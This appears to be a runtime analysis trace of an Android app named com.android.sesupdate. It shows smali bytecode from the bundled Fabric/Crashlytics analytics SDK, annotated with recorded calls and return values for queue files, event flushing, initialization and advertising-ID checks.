                              • getName: io.fabric.sdk.android.services.common.QueueFile
                          • Time: 994608815
                            • This:
                              • io.fabric.sdk.android.services.common.QueueFile$Element@cdb2ba7
                            • Return:
                              • java.lang.Class@2ac8a854
                              • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          • Time: 994608807
                            • This:
                              • QueueFile[fileLength=4096, size=0, first=Element[position = 0, length = 0], last=Element[position = 0, length = 0], element lengths=[]]
                            • Return:
                              • true
                          • Time: 994609076
                            • This:
                              • QueueFile[fileLength=4096, size=1, first=Element[position = 16, length = 446], last=Element[position = 16, length = 446], element lengths=[446]]
                            • Return:
                              • false
                          30move-result v3
                          31if-eqz v3, :cond_5c
                          32const/16 v2, 0x10
                          33goto_22: new-instance v1, Lio/fabric/sdk/android/services/common/QueueFile$Element;
                          35invoke-direct {v1, v2, p3}, Lio/fabric/sdk/android/services/common/QueueFile$Element;-><init>(II)V
                          37iget-object v4, p0, Lio/fabric/sdk/android/services/common/QueueFile;->buffer:[B
                          38const/4 v5, 0x0
                          40invoke-static {v4, v5, p3}, Lio/fabric/sdk/android/services/common/QueueFile;->writeInt([BII)V
                          41iget v4, v1, Lio/fabric/sdk/android/services/common/QueueFile$Element;->position:I
                          43iget-object v5, p0, Lio/fabric/sdk/android/services/common/QueueFile;->buffer:[B
                          44const/4 v6, 0x0
                          45const/4 v7, 0x4
                          47invoke-direct {p0, v4, v5, v6, v7}, Lio/fabric/sdk/android/services/common/QueueFile;->ringWrite(I[BII)V
                          48iget v4, v1, Lio/fabric/sdk/android/services/common/QueueFile$Element;->position:I
                          49add-int/lit8 v4, v4, 0x4
                          51invoke-direct {p0, v4, p1, p2, p3}, Lio/fabric/sdk/android/services/common/QueueFile;->ringWrite(I[BII)V
                          52if-eqz v3, :cond_6c
                          53iget v0, v1, Lio/fabric/sdk/android/services/common/QueueFile$Element;->position:I
                          54goto_41: iget v4, p0, Lio/fabric/sdk/android/services/common/QueueFile;->fileLength:I
                          55iget v5, p0, Lio/fabric/sdk/android/services/common/QueueFile;->elementCount:I
                          56add-int/lit8 v5, v5, 0x1
                          57iget v6, v1, Lio/fabric/sdk/android/services/common/QueueFile$Element;->position:I
                          59invoke-direct {p0, v4, v5, v0, v6}, Lio/fabric/sdk/android/services/common/QueueFile;->writeHeader(IIII)V
                          60iput-object v1, p0, Lio/fabric/sdk/android/services/common/QueueFile;->last:Lio/fabric/sdk/android/services/common/QueueFile$Element;
                          61iget v4, p0, Lio/fabric/sdk/android/services/common/QueueFile;->elementCount:I
                          62add-int/lit8 v4, v4, 0x1
                          63iput v4, p0, Lio/fabric/sdk/android/services/common/QueueFile;->elementCount:I
                          64if-eqz v3, :cond_5a
                          66iget-object v4, p0, Lio/fabric/sdk/android/services/common/QueueFile;->last:Lio/fabric/sdk/android/services/common/QueueFile$Element;
                          67iput-object v4, p0, Lio/fabric/sdk/android/services/common/QueueFile;->first:Lio/fabric/sdk/android/services/common/QueueFile$Element;
                          68cond_5a: monitor-exit p0
                          69return-void
                          70cond_5c:
                          71iget-object v4, p0, Lio/fabric/sdk/android/services/common/QueueFile;->last:Lio/fabric/sdk/android/services/common/QueueFile$Element;
                          72iget v4, v4, Lio/fabric/sdk/android/services/common/QueueFile$Element;->position:I
                          73add-int/lit8 v4, v4, 0x4
                          75iget-object v5, p0, Lio/fabric/sdk/android/services/common/QueueFile;->last:Lio/fabric/sdk/android/services/common/QueueFile$Element;
                          76iget v5, v5, Lio/fabric/sdk/android/services/common/QueueFile$Element;->length:I
                          77add-int/2addr v4, v5
                          79invoke-direct {p0, v4}, Lio/fabric/sdk/android/services/common/QueueFile;->wrapPosition(I)I
                          80move-result v2
                          81goto/16 :goto_22
                          82cond_6c:
                          83iget-object v4, p0, Lio/fabric/sdk/android/services/common/QueueFile;->first:Lio/fabric/sdk/android/services/common/QueueFile$Element;
                          84iget v0, v4, Lio/fabric/sdk/android/services/common/QueueFile$Element;->position:I
                          85try_end_70: goto/16 :goto_41
                          APIs
                          • com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy.rollFileOver
                          Strings
                          • Answers
                          • Failed to process event
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$6;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4iget-object v1, v1, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          6iget-object v2, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$6;->val$eventBuilder:Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          8invoke-interface {v1, v2}, Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;->processEvent(Lcom/crashlytics/android/answers/SessionEvent$Builder;)V
                          9iget-boolean v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$6;->val$flush:Z
                          10if-eqz v1, :cond_14
                          12iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$6;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          14iget-object v1, v1, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          16invoke-interface {v1}, Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;->rollFileOver()Z
                          • Time: 994608999
                            • This:
                              • com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy@1b96d6ee
                            • Return:
                              • true
                          17try_end_14: return-void
                          18catch_15: move-exception v0
                          20invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          21move-result-object v1
                          23const-string v2, "Answers"
                          25const-string v3, "Failed to process event"
                          27invoke-interface {v1, v2, v3, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          28goto/16 :goto_14
                          APIs
                          • com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy.rollFileOver
                          Strings
                          • Answers
                          • Failed to flush events
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$5;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4iget-object v1, v1, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          6invoke-interface {v1}, Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;->rollFileOver()Z
                          • Time: 994618114
                            • This:
                              • com.crashlytics.android.answers.EnabledSessionAnalyticsManagerStrategy@1b96d6ee
                            • Return:
                              • true
                          7try_end_7: return-void
                          8catch_8: move-exception v0
                          10invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          11move-result-object v1
                          13const-string v2, "Answers"
                          15const-string v3, "Failed to flush events"
                          17invoke-interface {v1, v2, v3, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          18goto/16 :goto_7
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • com.android.sesupdate.MainApplication.getApplicationContext
                          Strings
                          • TwitterAdvertisingInfoPreferences
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                          • Time: 994607202
                            • This:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                            • Return:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                          6move-result-object v0
                          7iput-object v0, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoProvider;->context:Landroid/content/Context;
                          8new-instance v0, Lio/fabric/sdk/android/services/persistence/PreferenceStoreImpl;
                          10const-string v1, "TwitterAdvertisingInfoPreferences"
                          12invoke-direct {v0, p1, v1}, Lio/fabric/sdk/android/services/persistence/PreferenceStoreImpl;-><init>(Landroid/content/Context;Ljava/lang/String;)V
                          13iput-object v0, p0, Lio/fabric/sdk/android/services/common/AdvertisingInfoProvider;->preferenceStore:Lio/fabric/sdk/android/services/persistence/PreferenceStore;
                          14return-void
                          APIs
                          • android.content.pm.PackageManager.getInstallerPackageName
                          Strings
                          • com.android.sesupdate
                          • com.google.android.feedback
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Throws;
                          1value = {
                          2Ljava/lang/Exception;
                          3}
                          4.end annotation
                          5.prologue
                          7invoke-virtual {p0, p1}, Lio/fabric/sdk/android/services/common/InstallerPackageNameProvider$1;->load(Landroid/content/Context;)Ljava/lang/String;
                          • Time: 994607505
                            • This:
                              • android.app.ApplicationPackageManager@24a50f88
                            • packageName: com.android.sesupdate
                            • Return:
                              • com.google.android.feedback
                          8move-result-object v0
                          9return-object v0
                          Cross References
                          APIs
                          • com.crashlytics.android.core.CrashlyticsCore.hasAnnotatedDependency
                          • com.crashlytics.android.Crashlytics.getClass
                          • java.lang.Class.isAssignableFrom
                          Position Instruction Meta Information
                          0.param p1, "target" # Lio/fabric/sdk/android/Kit;
                          1.prologue
                          2const/4 v2, 0x0
                          4invoke-virtual {p0}, Lio/fabric/sdk/android/Kit;->hasAnnotatedDependency()Z
                          • Time: 994607256
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • true
                          • Time: 994607268
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • false
                          5move-result v3
                          6if-eqz v3, :cond_1e
                          8iget-object v3, p0, Lio/fabric/sdk/android/Kit;->dependsOnAnnotation:Lio/fabric/sdk/android/services/concurrency/DependsOn;
                          10invoke-interface {v3}, Lio/fabric/sdk/android/services/concurrency/DependsOn;->value()[Ljava/lang/Class;
                          11move-result-object v1
                          12array-length v4, v1
                          13move v3, v2
                          14goto_f: if-ge v3, v4, :cond_1e
                          15aget-object v0, v1, v3
                          17invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                          • Time: 994607262
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • class com.crashlytics.android.Crashlytics
                              • getName: com.crashlytics.android.Crashlytics
                          • Time: 994607307
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • class com.crashlytics.android.beta.Beta
                              • getName: com.crashlytics.android.beta.Beta
                          • Time: 994607417
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • class com.crashlytics.android.answers.Answers
                              • getName: com.crashlytics.android.answers.Answers
                          18move-result-object v5
                          20invoke-virtual {v0, v5}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                          21move-result v5
                          22if-eqz v5, :cond_1f
                          23const/4 v2, 0x1
                          24cond_1e: return v2
                          25cond_1f: add-int/lit8 v3, v3, 0x1
                          26goto/16 :goto_f
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • com.crashlytics.android.answers.Answers.getClass
                          • java.lang.Class.getAnnotation
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          3new-instance v0, Lio/fabric/sdk/android/InitializationTask;
                          5invoke-direct {v0, p0}, Lio/fabric/sdk/android/InitializationTask;-><init>(Lio/fabric/sdk/android/Kit;)V
                          6iput-object v0, p0, Lio/fabric/sdk/android/Kit;->initializationTask:Lio/fabric/sdk/android/InitializationTask;
                          8invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                          • Time: 994607141
                            • This:
                              • com.crashlytics.android.answers.Answers@917c8a3
                            • Return:
                              • class com.crashlytics.android.answers.Answers
                              • getName: com.crashlytics.android.answers.Answers
                          • Time: 994607147
                            • This:
                              • com.crashlytics.android.beta.Beta@1a756f59
                            • Return:
                              • class com.crashlytics.android.beta.Beta
                              • getName: com.crashlytics.android.beta.Beta
                          • Time: 994607154
                            • This:
                              • com.crashlytics.android.core.CrashlyticsCore@3b544bff
                            • Return:
                              • class com.crashlytics.android.core.CrashlyticsCore
                              • getName: com.crashlytics.android.core.CrashlyticsCore
                          • Time: 994607160
                            • This:
                              • com.crashlytics.android.Crashlytics@1cf0272a
                            • Return:
                              • class com.crashlytics.android.Crashlytics
                              • getName: com.crashlytics.android.Crashlytics
                          • Time: 994607240
                            • This:
                              • io.fabric.sdk.android.Onboarding@185a23ce
                            • Return:
                              • class io.fabric.sdk.android.Onboarding
                              • getName: io.fabric.sdk.android.Onboarding
                          9move-result-object v0
                          10const-class v1, Lio/fabric/sdk/android/services/concurrency/DependsOn;
                          12invoke-virtual {v0, v1}, Ljava/lang/Class;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                          13move-result-object v0
                          14check-cast v0, Lio/fabric/sdk/android/services/concurrency/DependsOn;
                          15iput-object v0, p0, Lio/fabric/sdk/android/Kit;->dependsOnAnnotation:Lio/fabric/sdk/android/services/concurrency/DependsOn;
                          16return-void
                          Cross References
                          APIs
                          • java.lang.String.<init>
                          Strings
                          • 5ba59999009600013f10
                          Position Instruction Meta Information
                          0.param p0, "bytes" # [B
                          1.prologue
                          2array-length v3, p0
                          3mul-int/lit8 v3, v3, 0x2
                          4new-array v0, v3, [C
                          5const/4 v1, 0x0
                          6goto_6: array-length v3, p0
                          7if-ge v1, v3, :cond_26
                          8aget-byte v3, p0, v1
                          9and-int/lit16 v2, v3, 0xff
                          10mul-int/lit8 v3, v1, 0x2
                          12sget-object v4, Lio/fabric/sdk/android/services/common/CommonUtils;->HEX_VALUES:[C
                          13ushr-int/lit8 v5, v2, 0x4
                          14aget-char v4, v4, v5
                          15aput-char v4, v0, v3
                          16mul-int/lit8 v3, v1, 0x2
                          17add-int/lit8 v3, v3, 0x1
                          19sget-object v4, Lio/fabric/sdk/android/services/common/CommonUtils;->HEX_VALUES:[C
                          20and-int/lit8 v5, v2, 0xf
                          21aget-char v4, v4, v5
                          22aput-char v4, v0, v3
                          23add-int/lit8 v1, v1, 0x1
                          24goto/16 :goto_6
                          25cond_26: new-instance v3, Ljava/lang/String;
                          27invoke-direct {v3, v0}, Ljava/lang/String;-><init>([C)V
                          • Time: 994608194
                            • This:
                              • 5ba59999009600013f10
                            • p0: [C@2012285b
                            • p0: 5ba59999009600013f10
                            • Return:
                              • 5ba59999009600013f10
                          28return-object v3
                          Cross References
                          APIs
                          • io.fabric.sdk.android.InitializationTask.isCancelled
                          Strings
                          • doInBackground
                          Position Instruction Meta Information
                          0.param p1, "voids" # [Ljava/lang/Void;
                          1.annotation system Ldalvik/annotation/Signature;
                          2value = {
                          3"([",
                          4"Ljava/lang/Void;",
                          5")TResult;"
                          6}
                          7.end annotation
                          8.prologue
                          10const-string v2, "doInBackground"
                          12invoke-direct {p0, v2}, Lio/fabric/sdk/android/InitializationTask;->createAndStartTimingMetric(Ljava/lang/String;)Lio/fabric/sdk/android/services/common/TimingMetric;
                          13move-result-object v1
                          14const/4 v0, 0x0
                          16invoke-virtual {p0}, Lio/fabric/sdk/android/InitializationTask;->isCancelled()Z
                          • Time: 994607564
                            • This:
                              • io.fabric.sdk.android.InitializationTask@1e50a23a
                            • Return:
                              • false
                          17move-result v2
                          18if-nez v2, :cond_13
                          20iget-object v2, p0, Lio/fabric/sdk/android/InitializationTask;->kit:Lio/fabric/sdk/android/Kit;
                          22invoke-virtual {v2}, Lio/fabric/sdk/android/Kit;->doInBackground()Ljava/lang/Object;
                          23move-result-object v0
                          24cond_13:
                          25invoke-virtual {v1}, Lio/fabric/sdk/android/services/common/TimingMetric;->stopMeasuring()V
                          26return-object v0
                          APIs
                          • com.crashlytics.android.answers.SessionAnalyticsFilesManager.rollFileOver
                          Strings
                          • Failed to roll file over.
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2iget-object v1, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesManager:Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          4invoke-virtual {v1}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->rollFileOver()Z
                          • Time: 994608995
                            • This:
                              • com.crashlytics.android.answers.SessionAnalyticsFilesManager@188fe89f
                            • Return:
                              • true
                          5try_end_5: move-result v1
                          6goto_6: return v1
                          7catch_7: move-exception v0
                          9iget-object v1, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          11const-string v2, "Failed to roll file over."
                          13invoke-static {v1, v2, v0}, Lio/fabric/sdk/android/services/common/CommonUtils;->logControlledError(Landroid/content/Context;Ljava/lang/String;Ljava/lang/Throwable;)V
                          14const/4 v1, 0x0
                          15goto/16 :goto_6
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.io.File.exists
                          Position Instruction Meta Information
                          0.param p1, "file" # Ljava/io/File;
                          1.annotation system Ldalvik/annotation/Throws;
                          2value = {
                          3Ljava/io/IOException;
                          4}
                          5.end annotation
                          6.prologue
                          8invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          9const/16 v0, 0x10
                          10new-array v0, v0, [B
                          11iput-object v0, p0, Lio/fabric/sdk/android/services/common/QueueFile;->buffer:[B
                          13invoke-virtual {p1}, Ljava/io/File;->exists()Z
                          • Time: 994608622
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap
                            • Return:
                              • false
                          • Time: 994608955
                            • This:
                              • /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap
                            • Return:
                              • true
                          14move-result v0
                          15if-nez v0, :cond_12
                          17invoke-static {p1}, Lio/fabric/sdk/android/services/common/QueueFile;->initialize(Ljava/io/File;)V
                          18cond_12:
                          19invoke-static {p1}, Lio/fabric/sdk/android/services/common/QueueFile;->open(Ljava/io/File;)Ljava/io/RandomAccessFile;
                          20move-result-object v0
                          21iput-object v0, p0, Lio/fabric/sdk/android/services/common/QueueFile;->raf:Ljava/io/RandomAccessFile;
                          23invoke-direct {p0}, Lio/fabric/sdk/android/services/common/QueueFile;->readHeader()V
                          24return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • com.android.sesupdate.MainApplication.getApplicationContext
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                          • Time: 994607227
                            • This:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                            • Return:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                          6move-result-object v0
                          7check-cast v0, Landroid/app/Application;
                          8iput-object v0, p0, Lio/fabric/sdk/android/ActivityLifecycleManager;->application:Landroid/app/Application;
                          9sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                          10const/16 v1, 0xe
                          11if-lt v0, v1, :cond_1a
                          12new-instance v0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;
                          14iget-object v1, p0, Lio/fabric/sdk/android/ActivityLifecycleManager;->application:Landroid/app/Application;
                          16invoke-direct {v0, v1}, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;-><init>(Landroid/app/Application;)V
                          17iput-object v0, p0, Lio/fabric/sdk/android/ActivityLifecycleManager;->callbacksWrapper:Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;
                          18cond_1a: return-void
                          APIs
                          • com.crashlytics.android.beta.ActivityLifecycleCheckForUpdatesController.signalExternallyReady
                          • java.util.concurrent.ExecutorService.submit
                          Position Instruction Meta Information
                          0.param p1, "activity" # Landroid/app/Activity;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController$1;->this$0:Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController;
                          5invoke-virtual {v0}, Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController;->signalExternallyReady()Z
                          • Time: 994608352
                            • This:
                              • com.crashlytics.android.beta.ActivityLifecycleCheckForUpdatesController@25795046
                            • Return:
                              • false
                          6move-result v0
                          7if-eqz v0, :cond_16
                          9iget-object v0, p0, Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController$1;->this$0:Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController;
                          11invoke-static {v0}, Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController;->access$000(Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController;)Ljava/util/concurrent/ExecutorService;
                          12move-result-object v0
                          13new-instance v1, Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController$1$1;
                          15invoke-direct {v1, p0}, Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController$1$1;-><init>(Lcom/crashlytics/android/beta/ActivityLifecycleCheckForUpdatesController$1;)V
                          17invoke-interface {v0, v1}, Ljava/util/concurrent/ExecutorService;->submit(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
                          18cond_16: return-void
                          Cross References
                          APIs
                          • io.fabric.sdk.android.FabricContext.getApplicationContext
                          • android.content.Context.getApplicationInfo
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                          • Time: 994607577
                            • This:
                              • io.fabric.sdk.android.FabricContext@158d77a9
                            • Return:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                          4move-result-object v0
                          6invoke-virtual {v0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                          7move-result-object v0
                          8iget v0, v0, Landroid/content/pm/ApplicationInfo;->icon:I
                          9return v0
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.common.IdManager.shouldCollectHardwareIds
                          • io.fabric.sdk.android.services.common.IdManager.explicitCheckLimitAdTracking
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v0, 0x0
                          3invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/IdManager;->shouldCollectHardwareIds()Z
                          • Time: 994608269
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • true
                          4move-result v1
                          5if-eqz v1, :cond_b
                          7invoke-direct {p0}, Lio/fabric/sdk/android/services/common/IdManager;->explicitCheckLimitAdTracking()Ljava/lang/Boolean;
                          • Time: 994608280
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • false
                          8move-result-object v0
                          9cond_b: return-object v0
                          APIs
                          • io.fabric.sdk.android.services.concurrency.PriorityFutureTask.getDelegate
                          • io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lio/fabric/sdk/android/services/concurrency/PriorityFutureTask;->getDelegate()Lio/fabric/sdk/android/services/concurrency/Dependency;
                          3move-result-object v0
                          4check-cast v0, Lio/fabric/sdk/android/services/concurrency/PriorityProvider;
                          5check-cast v0, Lio/fabric/sdk/android/services/concurrency/Dependency;
                          7invoke-interface {v0}, Lio/fabric/sdk/android/services/concurrency/Dependency;->areDependenciesMet()Z
                          • Time: 994607237
                            • This:
                              • io.fabric.sdk.android.services.concurrency.PriorityTask@a58d8d0
                            • Return:
                              • true
                          • Time: 994607563
                            • This:
                              • io.fabric.sdk.android.InitializationTask@38fb8ec7
                            • Return:
                              • false
                          8move-result v0
                          9return v0
                          Cross References
                          APIs
                          • com.crashlytics.android.answers.SessionAnalyticsManager.isFirstLaunch
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->eventsHandler:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4invoke-virtual {v0}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->enable()V
                          6iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->lifecycleManager:Lio/fabric/sdk/android/ActivityLifecycleManager;
                          7new-instance v1, Lcom/crashlytics/android/answers/AnswersLifecycleCallbacks;
                          9iget-object v2, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->backgroundManager:Lcom/crashlytics/android/answers/BackgroundManager;
                          11invoke-direct {v1, p0, v2}, Lcom/crashlytics/android/answers/AnswersLifecycleCallbacks;-><init>(Lcom/crashlytics/android/answers/SessionAnalyticsManager;Lcom/crashlytics/android/answers/BackgroundManager;)V
                          13invoke-virtual {v0, v1}, Lio/fabric/sdk/android/ActivityLifecycleManager;->registerCallbacks(Lio/fabric/sdk/android/ActivityLifecycleManager$Callbacks;)Z
                          15iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->backgroundManager:Lcom/crashlytics/android/answers/BackgroundManager;
                          17invoke-virtual {v0, p0}, Lcom/crashlytics/android/answers/BackgroundManager;->registerListener(Lcom/crashlytics/android/answers/BackgroundManager$Listener;)V
                          19invoke-virtual {p0}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->isFirstLaunch()Z
                          • Time: 994607629
                            • This:
                              • com.crashlytics.android.answers.SessionAnalyticsManager@1be5c59a
                            • Return:
                              • true
                          20move-result v0
                          21if-eqz v0, :cond_26
                          22iget-wide v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->installedAt:J
                          24invoke-virtual {p0, v0, v1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onInstall(J)V
                          26iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->preferenceManager:Lcom/crashlytics/android/answers/AnswersPreferenceManager;
                          28invoke-virtual {v0}, Lcom/crashlytics/android/answers/AnswersPreferenceManager;->setAnalyticsLaunched()V
                          29cond_26: return-void
                          Cross References
                          APIs
                          • io.fabric.sdk.android.InitializationTask.isCancelled
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(TResult;)V"
                          3}
                          4.end annotation
                          5.prologue
                          7invoke-virtual {p0}, Lio/fabric/sdk/android/services/concurrency/AsyncTask;->isCancelled()Z
                          • Time: 994615593
                            • This:
                              • io.fabric.sdk.android.InitializationTask@1e50a23a
                            • Return:
                              • false
                          8move-result v0
                          9if-eqz v0, :cond_e
                          11invoke-virtual {p0, p1}, Lio/fabric/sdk/android/services/concurrency/AsyncTask;->onCancelled(Ljava/lang/Object;)V
                          12goto_9:
                          13sget-object v0, Lio/fabric/sdk/android/services/concurrency/AsyncTask$Status;->FINISHED:Lio/fabric/sdk/android/services/concurrency/AsyncTask$Status;
                          14iput-object v0, p0, Lio/fabric/sdk/android/services/concurrency/AsyncTask;->status:Lio/fabric/sdk/android/services/concurrency/AsyncTask$Status;
                          15return-void
                          16cond_e:
                          17invoke-virtual {p0, p1}, Lio/fabric/sdk/android/services/concurrency/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
                          18goto/16 :goto_9
                          APIs
                          • io.fabric.sdk.android.FabricContext.getApplicationContext
                          Position Instruction Meta Information
                          0.annotation build Landroid/annotation/TargetApi;
                          1value = 0xe
                          2.end annotation
                          3.prologue
                          5invoke-virtual {p0}, Lcom/crashlytics/android/beta/Beta;->getContext()Landroid/content/Context;
                          6move-result-object v1
                          8invoke-virtual {v1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                          • Time: 994607549
                            • This:
                              • io.fabric.sdk.android.FabricContext@21398448
                            • Return:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                          9move-result-object v0
                          10check-cast v0, Landroid/app/Application;
                          11sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                          13invoke-virtual {p0, v1, v0}, Lcom/crashlytics/android/beta/Beta;->createUpdatesController(ILandroid/app/Application;)Lcom/crashlytics/android/beta/UpdatesController;
                          14move-result-object v1
                          15iput-object v1, p0, Lcom/crashlytics/android/beta/Beta;->updatesController:Lcom/crashlytics/android/beta/UpdatesController;
                          16const/4 v1, 0x1
                          17return v1
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.common.IdManager.shouldCollectHardwareIds
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v1, 0x0
                          3invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/IdManager;->shouldCollectHardwareIds()Z
                          • Time: 994607727
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • true
                          4move-result v2
                          5if-eqz v2, :cond_13
                          7invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/IdManager;->getAdvertisingInfo()Lio/fabric/sdk/android/services/common/AdvertisingInfo;
                          8move-result-object v0
                          9if-eqz v0, :cond_13
                          10iget-boolean v2, v0, Lio/fabric/sdk/android/services/common/AdvertisingInfo;->limitAdTrackingEnabled:Z
                          11if-nez v2, :cond_13
                          13iget-object v1, v0, Lio/fabric/sdk/android/services/common/AdvertisingInfo;->advertisingId:Ljava/lang/String;
                          14cond_13: return-object v1
                          Cross References
                          APIs
                          • com.crashlytics.android.answers.AnswersPreferenceManager.hasAnalyticsLaunched
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->preferenceManager:Lcom/crashlytics/android/answers/AnswersPreferenceManager;
                          4invoke-virtual {v0}, Lcom/crashlytics/android/answers/AnswersPreferenceManager;->hasAnalyticsLaunched()Z
                          • Time: 994607625
                            • This:
                              • com.crashlytics.android.answers.AnswersPreferenceManager@3ab7e6af
